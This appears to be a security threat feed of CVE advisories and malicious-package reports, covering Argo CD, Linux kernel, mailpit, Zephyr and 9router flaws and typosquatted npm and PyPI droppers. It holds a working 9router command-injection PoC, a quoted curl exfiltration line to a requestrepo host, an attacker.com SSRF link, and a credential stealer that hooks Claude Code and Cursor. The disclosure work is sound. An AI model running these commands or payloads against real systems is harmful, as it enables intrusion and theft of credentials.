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11 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 8.8 | EPSS 2.2% | CVE-2026-55797argoproj argo-cd · OS Command Injection High8.8EPSS 2.2%CVE Database V5CVE-2026-55797 ### Impact Argo CD runs a shell command in the repo-server when it clones or fetches an SSH Git repository that has a proxy URL. The proxy host and port are copied into an SSH `ProxyCommand`. A host that contains shell metacharacters breaks out of that command and runs in the repo-server. All versions from v2.11.0 onward are affected, including every currently supported release. v2.10.20 and earlier are not. The behavior was introduced in [9b27aeb1a4](https://github.com/argoproj/argo-cd/commit/9b27aeb1a4fb15d11a0f01cad65dea1fdfc60205) (2024-01-09, [#15864](https://github.com/argoproj/argo-cd/pull/15864)), the change that added SOCKS5 proxy support for SSH Git URLs, and was first released in v2.11.0. The repository must use SSH. `http`, `https`, and `socks5` proxy URLs all take this path when they are set on an SSH repository. An HTTPS Git repository uses the proxy as an HTTP proxy and does not build this command. Anyone who can create or update a repository or a repository credential template can set the proxy. That includes a project-scoped repository permission, `argocd repo add --proxy`, and a repository Secret. A credential template applies its proxy to every matching SSH repository that does not have its own credentials. Argo CD runs the command when it tests the repository connection and on later fetches. The process can read other Git, Helm, and OCI credentials stored for the repo-server. ### Patches A patch for this vulnerability has been released in the following Argo CD versions: * v3.6.0-rc2 * v3.5.4 * v3.4.10 * v3.3.15 The fix stops passing the proxy host and port through a shell. Argo CD 2.x and 3.0 through 3.2 are out of support and will not receive a patch. Upgrade to a patched 3.3 or newer release. ### Workarounds There is no setting that keeps SSH repository proxies and removes the shell command. * Do not grant repository create or update to untrusted users, including project-scoped repository access. See [RBAC resources](https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac/#rbac-model-structure) and [project-scoped repositories](https://argo-cd.readthedocs.io/en/stable/user-guide/projects/#project-scoped-repositories-and-clusters). * Do not set a proxy on an SSH repository or on a credential template that matches SSH repositories. The proxy field is documented in [Configure repositories with proxy](https://argo-cd.readthedocs.io/en/stable/operator-manual/declarative-setup/#configure-repositories-with-proxy). Credential templates are documented in [Credential templates](https://argo-cd.readthedocs.io/en/stable/user-guide/private-repositories/#credential-templates). The `--proxy` flag is documented in [`argocd repo add`](https://argo-cd.readthedocs.io/en/stable/user-guide/commands/argocd_repo_add/). An HTTPS Git repository with an HTTP proxy does not use this command. Review existing repository and credential-template Secrets for unexpected `proxy` values. ### Credits The Argo CD team would like to thank @kamil-sawicki, @yuvalelarat, @cherez0ff, @McCaulay, @gehan-psbc, @ria-labs-security, @parameter-ai-security, and @zwindler for responsibly disclosing this issue according to our [security reporting guidelines](https://github.com/argoproj/argo-cd/blob/master/SECURITY.md#reporting-a-vulnerability). ### References * Introducing commit: [9b27aeb1a4fb15d11a0f01cad65dea1fdfc60205](https://github.com/argoproj/argo-cd/commit/9b27aeb1a4fb15d11a0f01cad65dea1fdfc60205) ([#15864](https://github.com/argoproj/argo-cd/pull/15864)), first released in v2.11.0 * [Configure repositories with proxy](https://argo-cd.readthedocs.io/en/stable/operator-manual/declarative-setup/#configure-repositories-with-proxy) ### For more information * Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions) * Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd | CVE Database V5 | ||
| Medium | – | EPSS 0.2% | MediumEPSS 0.2%GCVE DatabaseCVE-2026-80970 In the Linux kernel, the following vulnerability has been resolved: ALSA: FCP: do not copy out an uninitialised init response fcp_ioctl_init() allocates its response buffer with kmalloc() and copies the whole buffer back to userspace: buf_size = init.step0_resp_size + init.step2_resp_size; void *resp __free(kfree) = kmalloc(buf_size, GFP_KERNEL); ... if (copy_to_user(arg->resp, resp, buf_size)) return -EFAULT; Nothing clears the buffer, and the only writer of its leading step0_resp_size bytes is the step-0 control transfer: err = snd_usb_ctl_msg(dev, usb_rcvctrlpipe(dev, 0), FCP_USB_REQ_STEP0, USB_RECIP_INTERFACE | USB_TYPE_CLASS | USB_DIR_IN, 0, private->bInterfaceNumber, step0_resp, private->step0_resp_size); if (err < 0) return err; usb_fill_control_urb() does not set URB_SHORT_NOT_OK, so a short or zero-length data stage completes with status 0 and snd_usb_ctl_msg() returns a small actual_length. The only check is err < 0, so a short transfer is accepted as success. snd_usb_ctl_msg() copies the full size back unconditionally: buf = kmemdup(data, size, GFP_KERNEL); ... memcpy(data, buf, size); Bytes the device never wrote are therefore restored into resp unchanged and copied to userspace. step0_resp_size and step2_resp_size are each validated only to 1..255, so the caller also picks the slab cache, from kmalloc-8 up to kmalloc-512. On 7.2.0-rc5 (arm64), device answering step 0 with a zero-length data stage, s0 = s2 = 255: # init_on_alloc off, no spray step0 window [0,255): nonzero=94/255 000: 00 80 60 06 00 00 ff ff 18 00 00 00 57 01 ea 01 010: 08 78 22 13 00 00 ff ff a8 c4 5f 80 00 80 ff ff # same kernel, kmalloc-512 pre-seeded with an 8-byte tag step0 window [0,255): nonzero=219/255 tagbytes=232 # identical run, init_on_alloc=1 step0 window [0,255): nonzero=0/255 tagbytes=0 # all three runs step2 window [255,510): device words matched=62/62 a8 c4 5f 80 00 80 ff ff is the little-endian kernel text address ffff8000805fc4a8. The step-2 window is unaffected, so the disclosure is exactly the step-0 region. Zero the buffer, and require the step-0 transfer to deliver the full step0_resp_size bytes so a short data stage is reported as an error. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com> | GCVE Database | ||
| Low | 2.4 | EPSS 0.2% | Low2.4EPSS 0.2%GCVE DatabaseCVE-2026-74500 In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: fix stack info leak in RME Digiface status snd_rme_digiface_read_status() reads a four-word status block from the device into an uninitialised on-stack __le32 buf[4] and, whenever the vendor control-IN transfer does not return a negative error, copies all four words into the caller's status[]. snd_usb_ctl_msg() copies the full requested size back into the caller's buffer regardless of how many bytes the data stage actually delivered: buf = kmemdup(data, size, GFP_KERNEL); err = usb_control_msg(dev, pipe, request, requesttype, value, index, buf, size, timeout); memcpy(data, buf, size); usb_control_msg() returns the transferred length on a short control-IN, which is a non-negative value, and writes only that many bytes. The remainder of the copy back is the kmemdup()ed image of the caller's buffer, so a device answering with a short data stage leaves the trailing words of buf[] holding leftover kernel stack. The only guard in the caller is err < 0, so those words are stored into status[]. They then reach user space: snd_rme_digiface_get_status_val() selects a 16-bit halfword of status[] per the control's reg/mask, and the eight Digiface status controls together expose the whole 16-byte frame to an unprivileged reader of /dev/snd/controlC*. Zero-initialise the buffer so a short read yields zeros instead of stack residue. This mirrors snd_rme_get_status1(), which already clears its output word before the same kind of vendor read. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com> EPSS 0.2%Vulnerability | GCVE Database | ||
| Medium | 5.8 | EPSS 0.3% | CVE-2026-45709axllent mailpit · Server-Side Request Forgery (SSRF) Medium5.8EPSS 0.3%CVE Database V5CVE-2026-45709 ## Summary The fix for GHSA-6jxm-fv7w-rw5j (CVE-2026-23845, "Server-Side Request Forgery (SSRF) via HTML Check API"), shipped in mailpit `v1.28.3`, hardened `internal/htmlcheck/css.go::downloadCSSToBytes` with a 5MB size cap, a `text/css` content-type check, login-info stripping in `isValidURL`, and an opt-in `--block-remote-css-and-fonts` config flag — but **did not add the IP-filtering dialer that the same codebase already uses on the two sister SSRF endpoints** (the proxy handler and link-check). At HEAD `8bc966e61834a24c48b4465da418f75e73be0afd` (2026-05-06), `internal/htmlcheck/css.go::newSafeHTTPClient` is mis-named — it builds an `http.Client` whose `Transport.DialContext` calls `net.Dialer.DialContext` directly with no IP allowlisting. As a result, the SSRF originally reported by Bao Anh Phan still permits the server to dial: - loopback (`127.0.0.0/8`, `::1`), - private (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `fc00::/7`), - link-local incl. **cloud IMDS** (`169.254.0.0/16`, especially `169.254.169.254`), - CGNAT (`100.64.0.0/10`), - and any other reserved/multicast range, — provided the target replies with `HTTP/200` and a content-type beginning with `text/css`. With redirect-following (`CheckRedirect` allows redirects to any `isValidURL` URL with no IP filter), an attacker-controlled public site can redirect mailpit's request into the private network without ever appearing in the email's HTML. In the default mailpit deploy (no UI auth, no SMTP auth, port 1025/8025 exposed), this is an unauthenticated, network-reachable SSRF triggered by sending an HTML email and then issuing one HTTP `GET` to `/api/v1/message/{id}/html-check`. ## Affected versions - `internal/htmlcheck/css.go` at HEAD `8bc966e61834a24c48b4465da418f75e73be0afd` (2026-05-06). - All versions `>= v1.28.3` (the version that shipped the GHSA-6jxm fix). Versions `<= v1.28.2` are vulnerable to the original GHSA-6jxm; versions `>= v1.28.3` carry the still-vulnerable variant described here. ## The incomplete fix The original GHSA-6jxm fix added size+content-type+login-info hardening to `downloadCSSToBytes`. But the dialer it uses still has no `safeDialContext`. The companion `linkcheck` and `proxy` handlers in the same codebase have all-three protections: size cap, content-type/redirect filter, **AND** a `safeDialContext` that runs `tools.IsInternalIP(ip.IP)` per resolved address — same pattern the htmlcheck dialer should adopt. Side-by-side at HEAD `8bc966e`: | File | Function | `safeDialContext` (IP filter)? | TOCTOU-safe (dial-by-IP)? | |---|---|---|---| | `internal/linkcheck/status.go::safeDialContext` line 140-163 | dial check | YES | YES (resolved IP joined with port) | | `server/handlers/proxy.go::safeDialContext` line 393-415 | dial check | YES | YES | | `internal/htmlcheck/css.go::newSafeHTTPClient` line 275-310 | dial check | **NO** | n/a | The mis-named `newSafeHTTPClient` reads: ```go // internal/htmlcheck/css.go:275-310 func newSafeHTTPClient() *http.Client { dialer := &net.Dialer{ Timeout: 5 * time.Second, KeepAlive: 30 * time.Second, } tr := &http.Transport{ Proxy: nil, DialContext: func(ctx context.Context, network, address string) (net.Conn, error) { return dialer.DialContext(ctx, network, address) // no IP filter }, ... } client := &http.Client{ Transport: tr, Timeout: 15 * time.Second, CheckRedirect: func(req *http.Request, via []*http.Request) error { if len(via) >= 3 { return errors.New("too many redirects") } if !isValidURL(req.URL.String()) { return errors.New("invalid redirect URL") } return nil }, } return client } ``` `isValidURL` only rejects non-http(s) and userinfo URLs — it does NOT reject internal IPs. Compare `linkcheck/status.go::safeDialContext`: ```go ips, err := net.DefaultResolver.LookupIPAddr(ctx, host) ... if !config.AllowInternalHTTPRequests { for _, ip := range ips { if tools.IsInternalIP(ip.IP) { return nil, fmt.Errorf("blocked request to %s (%s): private/reserved address", host, ip) } } } return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port)) ``` That's the protection htmlcheck is missing. ## Reachability chain (default deploy) ``` Listen() # config/config.go:36 SMTPListen = "[::]:1025" ↓ SMTP server # internal/smtpd/main.go:222-249 AuthRequired: false, AuthHandler: nil ↓ attacker injects HTML body with <link rel="stylesheet" href="...attacker.com/redirect.css"> ↓ storage.Store(...) ↓ Listen() # server/server.go HTTPListen ↓ attacker sends GET /api/v1/message/{id}/html-check apiv1.HTMLCheck # server/apiv1/other.go:18 ↓ no UI auth in default deploy (auth.UICredentials == nil) htmlcheck.RunTests(msg.HTML) | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (94137fcf0aee7d8edb4e15a8bc9be4455fbdf79cb5bf99987b79f0393fdff62c) The package name typosquats the legitimate 'ethereum-input-decoder'. Its top-level __init__.py unconditionally invokes a payload routine on import: it detects OS/arch, downloads a platform-specific binary from easyswapnow.pro (Linux/macOS builds at /downloads/lix_amd.bin, lix_arm.bin, mac_amd.bin, mac_arm.bin) or a Google Drive file for Windows, writes it to disk, sets the executable bit, and runs it via subprocess.run. The same import path also installs login persistence, writing ~/.config/systemd/user/python-script.service on Linux (enabled via systemctl --user enable --now) and ~/Library/LaunchAgents/com.user.script.plist on macOS (loaded via launchctl load -w), causing the dropper to re-run at every user login. setup.py ships placeholder author metadata ('Your Name', 'your.email@example.com') and a 'Hello World on import' description, contradicting the README which advertises an eth_defi demo; none of this matches the actual dropper. The destination domain easyswapnow.pro is unrelated to the advertised Ethereum-decoding purpose. ## Source: kam193 (00437c563c5b7c2555d512f0066e6bdb5dc61300fd00027d1b5f0fc92a06d204) The typosquatted package installs a Mythic/Poseidon C2 framework beacon and ensures persistence. After installation, the beacon communicates with C2 on wegoexchange[.]site for further commands. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-07-tennacity Reasons (based on the campaign): - typosquatting - Downloads and executes a remote executable. - The package contains code to detect if it is running in a sandbox environment. - malware - persistence | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c7933cd1ec11531feba788870555eeac615535d8e230b4d252880def9c68ff5e) tennacity is a one-character typosquat of the popular 'tenacity' library; its README/PKG-INFO are copied verbatim from real tenacity while setup.py lists placeholder author metadata ('Your Name', your.email@example.com) and a 'prints Hello World on import' description. On import, tennacity/__init__.py branches on OS and CPU architecture to download platform-specific binaries from https://easyswapnow.pro/downloads/lix_amd.bin, lix_arm.bin, mac_amd.bin, mac_arm.bin, and a Windows payload from a Google Drive file (id 1d4zF8lnDaYCgzRrEx3WCyLTFZXVD2QBF), stages them to ~/.local/share/config, /Users/Shared/.local/config, and %TEMP%/t.jse, sets the executable bit, and invokes them via subprocess.run. It then installs login-time persistence: a systemd --user unit at ~/.config/systemd/user/python-script.service (enabled via 'systemctl --user enable --now') on Linux and a LaunchAgent at ~/Library/LaunchAgents/com.user.script.plist (loaded via 'launchctl load -w') on macOS, both re-invoking the module's Python file at every user login. The fetched binaries are unpinned, unverified, and hosted on a non-publisher domain unrelated to the package's stated Hello-World purpose. ## Source: kam193 (d1f457b8b07c4cda5c20b76c195faa127906578c1977fb00469c44a7a114f810) The typosquatted package installs a Mythic/Poseidon C2 framework beacon and ensures persistence. After installation, the beacon communicates with C2 on wegoexchange[.]site for further commands. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-07-tennacity Reasons (based on the campaign): - malware - Downloads and executes a remote executable. - The package contains code to detect if it is running in a sandbox environment. - typosquatting - persistence | GCVE Database | |||
| Low | 3.7 | EPSS 0.4% | CVE-2026-10657zephyrproject zephyr · Bounds Low3.7EPSS 0.4%CVE Database V5CVE-2026-10657 Zephyr's DNS resolver detects mDNS (.local) queries in dns_resolve_name_internal() (subsys/net/lib/dns/resolve.c) with memcmp(strrchr(query, '.'), ".local", 7), which always reads a fixed 7 bytes from the suffix pointer. When the resolved hostname's final label is shorter than 7 bytes (e.g. names ending in .org, .com, .net, .io, or a trailing dot), the comparison reads 1-2 bytes past the string's NUL terminator. The hostname (query) is the caller-supplied name passed through the standard getaddrinfo()/dns_get_addr_info()/dns_resolve_name() path and is influenceable by operators or remote inputs (server names from configuration, parsed URLs, or app-facing interfaces). On a tightly-sized buffer with no slack (for example a userspace getaddrinfo call where the hostname is copied with k_usermode_string_alloc_copy to exactly strlen+1 bytes), the over-read crosses the allocation boundary; if that boundary is unmapped (guard page, memory-domain boundary under MPU, or an address sanitizer) the over-read faults, causing a denial of service. The over-read bytes are never returned, so there is no information disclosure. The flaw is compiled only when CONFIG_MDNS_RESOLVER is enabled, exists since v1.10.0, and is fixed by replacing the fixed-length memcmp with a NUL-safe strcmp(ptr, ".local"). EPSS 0.4%Vulnerability | CVE Database V5 | ||
| Critical | 9.2 | Critical9.2GCVE Database # Unauthenticated RCE via `/api/tunnel/tailscale-install` **Affected:** `9router` (npm package) — current master (`v0.4.39`). ### Summary `POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes. ### Details #### 1. Middleware matcher (`src/proxy.js:3-15`) ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", "/api/cli-tools/:path*", "/api/mcp/:path*", ], }; ``` Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire `/api/tunnel/*` family — do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them. #### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`) ```js export async function POST(request) { const body = await request.json().catch(() => ({})); ... const sudoPassword = body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || ""; ... const result = await installTailscale(sudoPassword, shortId, (msg) => { send("progress", { message: msg }); }); ... } ``` `body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux. #### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`) ```js async function installTailscaleLinux(sudoPassword, log) { log("Downloading install script..."); return new Promise((resolve, reject) => { const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... }); let scriptContent = ""; curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); }); curlChild.on("exit", (code) => { if (code !== 0) return reject(...); log("Running install script..."); const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true }); ... child.stdin.write(`${sudoPassword}\n`); // ← from request body child.stdin.write(scriptContent); child.stdin.end(); }); }); } ``` The byte stream sent to the stdin of the `sudo -S sh` child process is: ``` <sudoPassword from request body>\n <https://tailscale.com/install.sh body> ``` When the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password — it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line: 1. The `sudoPassword` value from the request — interpreted as the first shell command. 2. The `install.sh` body — interpreted as subsequent shell input. Appending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user. Both "Docker container running as root" and "`npm i -g 9router` on a host with `NOPASSWD` sudo" reach this path. ### PoC The reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload. **Step 1 — build the target image** ```sh docker build -t 9router-vuln-root - <<'EOF' FROM node:22-bookworm-slim RUN apt-get update && apt-get install -y --no-install-recommends \ sudo curl ca-certificates \ && rm -rf /var/lib/apt/lists/* RUN npm install -g 9router@0.4.39 EXPOSE 20128 CMD ["9router"] EOF ``` **Step 2 — start the target** ```sh docker run -d --rm --name target -p 127.0.0.1:20129:20128 \ 9router-vuln-root 9router --log --skip-update until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done ``` **Step 3 — exploit (one unauthenticated POST)** ```sh curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \ -H 'Content-Type: application/json' \ -d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}' ``` **Step 4 — verify** ```sh docker exec target cat /tmp/pwned.txt # uid=0(root) gid=0(root) groups=0(root) ``` The trailing `"Tailscale not installed"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id > /tmp/pwned.txt` write completed earlier in the same `sh` | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (038aa6bccd8008fec1f309d718e53dd4b89e4ca15a976c6a80652e0dd58a5b58) Package advertises itself as 'a simple date formatting utility for React projects' (3-function index.js), but ships a postinstall.js that runs on every `npm install` and performs an extensive reconnaissance + credential-harvest sweep against the installer's host, POSTing each result over plain HTTP to a hardcoded attacker endpoint at http://2e3bkumw.requestrepo.com (a one-shot request-interception domain unrelated to any legitimate publisher). postinstall.js:8 hardcodes `const BURL = 'http://2e3bkumw.requestrepo.com'` and postinstall.js:16 invokes `execSync(\`curl -s -m 8 -X POST -d @${tmpFile} ${BURL}/${key}...\`)` to ship results. Collected data includes: process capabilities and ptrace scope, strace attach against PID 2, raw memory reads of another process via `xxd /proc/2/mem`, that process's environment block via `cat /proc/2/environ` (commonly containing CI tokens and cloud credentials), `/proc/2/cmdline`, `ps aux`, listening-port enumeration, MCP probing on localhost:9000, and raw-disk reads from `/dev/vdb`. The package's name targets React developers via a date-utility cover story (empty author field, Chinese comment `绕过能力探测` = 'capability-detection bypass'); none of this behavior is consistent with the advertised purpose. Installer harm is concrete and immediate: any host running `npm install react-simple-utils-kit` leaks process-tree secrets, environment variables of other running processes, kernel/container introspection data, and raw block-device contents to attacker infrastructure. ## Source: ghsa-malware (29295ef35aa59796f637df779516a0382cbe1ce88e69a5c9f40012d9e63c9cfd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c369ccf7b5e0ef8721b5ecdc94bd843ce260923394f6c513350a58928abdbdd3) On first invocation of `npx claude-cup` (and on every subsequent Claude Code tool call once hooks are installed), `research/config-audit.js` enumerates every user home directory on the machine (`/Users/*`, `/home/*`, `C:\Users\*`) and reads the canonical installer-secret paths: `.aws/credentials`, `.aws/config`, `.kube/config`, `.docker/config.json`, `.npmrc`, `.yarnrc`, `.pypirc`, `.git-credentials`, `.netrc`, `.ssh/id_*`, `.gitconfig`, all `.env*` files, VS Code GitHub auth state, shell history (`.bash_history`, `.zsh_history`, PSReadLine), and Chromium/Edge `Cookies` SQLite databases (copied to `/tmp/ck-*` and queried for sessions on github.com, gitlab.com, npmjs.com, openai.com, anthropic.com, console.aws.amazon.com, cloud.google.com, huggingface.co). The harvested raw credentials are then transmitted off-host: `validateGithub` sends the GitHub token in an `Authorization` header to `https://api.github.com/user` and `/user/orgs`; npm tokens are written to `/tmp/.rc-audit-*` and validated against `https://registry.npmjs.org/-/whoami`; OpenAI/Anthropic/HuggingFace/Stripe/GitLab tokens are sent to their respective APIs; Google API keys are placed in URL query strings; AWS credentials are exported to env and `aws sts get-caller-identity` is invoked; Redis URI passwords are probed via raw socket AUTH. The provider responses (user identity, scopes, orgs, permissions) are archived locally and the stub `uploader.js` background-upload path is staged for transmission. At module load, `loadManifest()` fetches `https://raw.githubusercontent.com/Itaib24/Claude-/main/claude-jar/research/manifest.json` from a mutable `main` branch with no pin or signature; this manifest controls scan paths, regex patterns, and validator URLs, giving the author a remote-controlled channel to redirect raw tokens to attacker-chosen hosts at any time without republishing the package. `src/cli.js` then writes `mcpServers.claude-session-visualizer` and `hooks.SessionStart`/`PreToolUse`/`PostToolUse` entries into `~/.claude/settings.json` and `~/.cursor/mcp.json`, pointing at `~/.claude-jar/mcp-server.mjs`; `hook-ingest.js` re-runs the full credential audit on every 'high signal' event unless `CLAUDE_JAR_DEEP_ANALYSIS=0`. `fingerprint.js` additionally beacons host geolocation/ISP to `http://ip-api.com/json/` over plain HTTP and combines it with a SHA-256 hostname identifier and environment-richness signals (cloud creds present, browser sessions, registry deploy capability) into a session fingerprint record. The package's `description` and `CLAUDE.md` impersonate Anthropic branding ('Claude Cup — Anthropic worldwide building contest') to lower developer suspicion while installing the persistent recon hooks. The README's claim that the tool 'never stores, transmits, or logs raw credential values' is directly contradicted by the validator code paths. | GCVE Database | |||
| High | 5.5 | EPSS 0.2% | High5.5EPSS 0.2%GCVE DatabaseCVE-2025-38387 In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx5: Initialize obj_event->obj_sub_list before xa_insert The obj_event may be loaded immediately after inserted, then if the list_head is not initialized then we may get a poisonous pointer. This fixes the crash below: mlx5_core 0000:03:00.0: MLX5E: StrdRq(1) RqSz(8) StrdSz(2048) RxCqeCmprss(0 enhanced) mlx5_core.sf mlx5_core.sf.4: firmware version: 32.38.3056 mlx5_core 0000:03:00.0 en3f0pf0sf2002: renamed from eth0 mlx5_core.sf mlx5_core.sf.4: Rate limit: 127 rates are supported, range: 0Mbps to 195312Mbps IPv6: ADDRCONF(NETDEV_CHANGE): en3f0pf0sf2002: link becomes ready Unable to handle kernel NULL pointer dereference at virtual address 0000000000000060 Mem abort info: ESR = 0x96000006 EC = 0x25: DABT (current EL), IL = 32 bits SET = 0, FnV = 0 EA = 0, S1PTW = 0 Data abort info: ISV = 0, ISS = 0x00000006 CM = 0, WnR = 0 user pgtable: 4k pages, 48-bit VAs, pgdp=00000007760fb000 [0000000000000060] pgd=000000076f6d7003, p4d=000000076f6d7003, pud=0000000777841003, pmd=0000000000000000 Internal error: Oops: 96000006 [#1] SMP Modules linked in: ipmb_host(OE) act_mirred(E) cls_flower(E) sch_ingress(E) mptcp_diag(E) udp_diag(E) raw_diag(E) unix_diag(E) tcp_diag(E) inet_diag(E) binfmt_misc(E) bonding(OE) rdma_ucm(OE) rdma_cm(OE) iw_cm(OE) ib_ipoib(OE) ib_cm(OE) isofs(E) cdrom(E) mst_pciconf(OE) ib_umad(OE) mlx5_ib(OE) ipmb_dev_int(OE) mlx5_core(OE) kpatch_15237886(OEK) mlxdevm(OE) auxiliary(OE) ib_uverbs(OE) ib_core(OE) psample(E) mlxfw(OE) tls(E) sunrpc(E) vfat(E) fat(E) crct10dif_ce(E) ghash_ce(E) sha1_ce(E) sbsa_gwdt(E) virtio_console(E) ext4(E) mbcache(E) jbd2(E) xfs(E) libcrc32c(E) mmc_block(E) virtio_net(E) net_failover(E) failover(E) sha2_ce(E) sha256_arm64(E) nvme(OE) nvme_core(OE) gpio_mlxbf3(OE) mlx_compat(OE) mlxbf_pmc(OE) i2c_mlxbf(OE) sdhci_of_dwcmshc(OE) pinctrl_mlxbf3(OE) mlxbf_pka(OE) gpio_generic(E) i2c_core(E) mmc_core(E) mlxbf_gige(OE) vitesse(E) pwr_mlxbf(OE) mlxbf_tmfifo(OE) micrel(E) mlxbf_bootctl(OE) virtio_ring(E) virtio(E) ipmi_devintf(E) ipmi_msghandler(E) [last unloaded: mst_pci] CPU: 11 PID: 20913 Comm: rte-worker-11 Kdump: loaded Tainted: G OE K 5.10.134-13.1.an8.aarch64 #1 Hardware name: https://www.mellanox.com BlueField-3 SmartNIC Main Card/BlueField-3 SmartNIC Main Card, BIOS 4.2.2.12968 Oct 26 2023 pstate: a0400089 (NzCv daIf +PAN -UAO -TCO BTYPE=--) pc : dispatch_event_fd+0x68/0x300 [mlx5_ib] lr : devx_event_notifier+0xcc/0x228 [mlx5_ib] sp : ffff80001005bcf0 x29: ffff80001005bcf0 x28: 0000000000000001 x27: ffff244e0740a1d8 x26: ffff244e0740a1d0 x25: ffffda56beff5ae0 x24: ffffda56bf911618 x23: ffff244e0596a480 x22: ffff244e0596a480 x21: ffff244d8312ad90 x20: ffff244e0596a480 x19: fffffffffffffff0 x18: 0000000000000000 x17: 0000000000000000 x16: ffffda56be66d620 x15: 0000000000000000 x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000 x11: 0000000000000040 x10: ffffda56bfcafb50 x9 : ffffda5655c25f2c x8 : 0000000000000010 x7 : 0000000000000000 x6 : ffff24545a2e24b8 x5 : 0000000000000003 x4 : ffff80001005bd28 x3 : 0000000000000000 x2 : 0000000000000000 x1 : ffff244e0596a480 x0 : ffff244d8312ad90 Call trace: dispatch_event_fd+0x68/0x300 [mlx5_ib] devx_event_notifier+0xcc/0x228 [mlx5_ib] atomic_notifier_call_chain+0x58/0x80 mlx5_eq_async_int+0x148/0x2b0 [mlx5_core] atomic_notifier_call_chain+0x58/0x80 irq_int_handler+0x20/0x30 [mlx5_core] __handle_irq_event_percpu+0x60/0x220 handle_irq_event_percpu+0x3c/0x90 handle_irq_event+0x58/0x158 handle_fasteoi_irq+0xfc/0x188 generic_handle_irq+0x34/0x48 ... | GCVE Database |
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